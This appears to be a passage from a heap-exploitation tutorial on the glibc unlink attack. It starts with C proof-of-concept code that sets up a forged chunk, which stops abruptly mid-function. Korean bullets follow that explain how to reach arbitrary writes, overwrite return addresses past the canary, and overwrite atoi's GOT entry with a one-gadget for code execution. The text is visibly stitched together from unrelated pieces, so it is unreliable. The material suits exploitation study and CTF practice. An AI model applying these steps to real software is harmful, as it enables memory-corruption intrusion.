// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
* 그리고 가짜 덩어리의 `fd` 및 `bk` 필드가 chunk1 포인터가 저장된 위치를 가리키도록 만들어줍니다. 각각 -3 및 -2의 오프셋을 사용하여 `fake_chunk->fd->bk` 및 `fake_chunk->bk->fd`가 실제 chunk1 주소가 있는 메모리(스택) 위치를 가리키도록 합니다:
* 이전에 `fake_chunk->fd->bk` 및 `fake_chunk->bk->fd`가 동일한 위치(스택에 chunk1이 저장된 위치)를 가리키도록 만들어졌으므로(유효한 연결된 목록이었습니다). **두 위치가 동일한 곳을 가리키고 있기 때문에** 마지막 것만(`fake_chunk->bk->fd = fake_chunk->fd`) **적용**됩니다.
* 따라서, 공격자가 다시 chunk1의 내용을 제어할 수 있다면, **스택 내부에 쓸 수 있게 되어 canary를 건드리지 않고 반환 주소를 덮어쓰고 로컬 변수의 값을 수정하고 포인트를 변경할 수 있을 것**입니다. 또한 다시 chunk1이 스택에 저장된 주소를 다른 위치로 변경할 수 있게 되면, 공격자가 다시 chunk1의 내용을 제어할 수 있다면 어디든 쓸 수 있을 것입니다.
* 이 예시에서는 스택 대신 malloc된 주소의 배열이 있습니다. unlink 공격은 여기에 덩어리를 할당할 수 있도록 수행되어, malloc된 주소의 배열의 포인터를 제어할 수 있게 됩니다. 그런 다음, 이러한 주소의 덩어리 내용을 수정할 수 있는 다른 기능이 있어 GOT를 가리키는 주소를 수정하여 leaks 및 RCE를 얻을 수 있습니다.
* 이전 예시와 마찬가지로 할당 주소의 배열이 있습니다. unlink 공격을 수행하여 첫 번째 할당 주소가 배열 시작 부분보다 앞에 있는 몇 가지 위치를 가리키도록 만들고, 그런 다음 이 새 위치에 할당을 덮어씁니다. 따라서, 다른 할당의 포인터를 가리키도록 덮어쓸 수 있어 atoi의 GOT를 가리키도록 포인터를 덮어쓰고 libc leak을 얻기 위해 이를 출력하고, 그런 다음 atoi GOT를 one gadget 주소로 덮어쓸 수 있습니다.
* unlink 공격과 매우 유사한 취약점을 악용하는 사용자 정의 malloc 및 free 함수가 있는 CTF 예시: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)